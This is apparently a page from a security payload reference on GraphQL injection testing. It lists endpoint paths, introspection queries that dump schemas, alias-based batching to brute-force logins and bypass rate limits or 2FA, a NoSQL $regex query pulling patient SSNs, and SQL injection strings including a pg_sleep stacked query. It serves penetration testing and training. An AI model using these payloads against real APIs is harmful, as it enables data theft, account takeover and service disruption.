23 Payloads

GraphQL Injection Payloads & Testing Methodology

GraphQL endpoints are often exposed at predictable paths, most commonly:

GraphQL Injection#

GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type

Summary#

Tools#

Enumeration#

Common GraphQL Endpoints#

GraphQL endpoints are often exposed at predictable paths, most commonly:

  • /graphql
  • /graphiql (interactive IDE)

You should always probe for both API and developer/debug interfaces.

ps18 lines
/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php

For an extended wordlist, see danielmiessler/SecLists/graphql.txt.

Identify An Injection Point#

A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - GraphQL Over HTTP
  • GET endpoint
js4 lines
    GET /graphql?query={yourQueryHere}
    GET /graphql?query={__schema{types{name}}}
    GET /graphiql?query={__schema{types{name}}}
    GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
  • POST endpoint
js7 lines
    POST /graphql/v1 HTTP/1.1
    Host: example.com
    Content-Type: application/json

    {
    "query": "query { user { id name } }"
    }

Check if errors are visible.

javascript3 lines
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Enumerate Database Schema via Introspection#

The GraphQL specification includes special fields, such as __schema and __type, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together.

An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not.

A minimal example looks like this:

js3 lines
{
  "query": "{ __schema { types { name } } }"
}

URL encoded query to dump the database schema.

js1 line
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}

URL decoded query to dump the database schema.

rs94 lines
fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }

Single line queries to dump the database schema without fragments.

rs1 line
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
rs1 line
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

Enumerate Database Schema via Suggestions#

When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.

json3 lines
{
  "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}

You can also try to bruteforce known keywords, field and type names using wordlists such as Escape-Technologies/graphql-wordlist when the schema of a GraphQL API is not accessible.

Enumerate Types Definition#

Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type

javascript1 line
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}

Enumerating Paths to a Target Type#

When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like User, Admin, or Payment) may be reachable through multiple entry points and nested relationships.

This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.

php17 lines
graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill

Methodology#

GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**.

Queries#

GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like user, posts, or teams) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.

Basic Query

The simplest query uses the shorthand syntax, where the query keyword is omitted. You just define the fields you want starting from the root object.

js6 lines
{
  user {
    id
    name
  }
}

This tells the server to return the id and name fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.

js6 lines
query {
  user {
    id
    name
  }
}

!HTB Help - GraphQL injection

Query with Arguments

To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.

js6 lines
{
  user(id: "1") {
    name
    email
  }
}

This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities.

Nested Queries

GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly.

js11 lines
{
  user(id: "1") {
    name
    posts {
      title
      comments {
        content
      }
    }
  }
}

Mutations#

A mutation is an operation used to change data on the server (create, update, or delete something). Mutations work like function, you can use them to interact with the GraphQL endpoint.

javascript13 lines
mutation{
  signIn(login:"Admin", password:"secretp@ssw0rd"){
      token
    }
}

mutation{
  addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {
    id
    name
    email
  }
}

**Warning**: Mutations usually won't work with GET. graphql/graphql-over-http, issue #123

GraphQL Batching Attacks#

Common scenario:

  • Password Brute-force Amplification Scenario
  • Rate Limit bypass
  • 2FA bypassing

JSON List Based Batching

Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.

Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.

json14 lines
[
    {
        "query":"..."
    },{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ,{
        "query":"..."
    }
    ...
]

Query Name Based Batching

json3 lines
{
    "query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}

Send the same mutation several times using aliases

js6 lines
mutation {
  login(pass: 1111, username: "bob")
  second: login(pass: 2222, username: "bob")
  third: login(pass: 3333, username: "bob")
  fourth: login(pass: 4444, username: "bob")
}

Injections#

SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.

NOSQL Injection#

Use $regex inside a search parameter.

js8 lines
{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

SQL Injection#

Send a single quote ' inside a GraphQL parameter to trigger the SQL injection

js7 lines
{ 
    bacon(id: "1'") { 
        id, 
        type, 
        price
    }
}

Simple SQL injection inside a GraphQL field.

powershell6 lines
query {
  user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
    id
    email
  }
}

Labs#

References#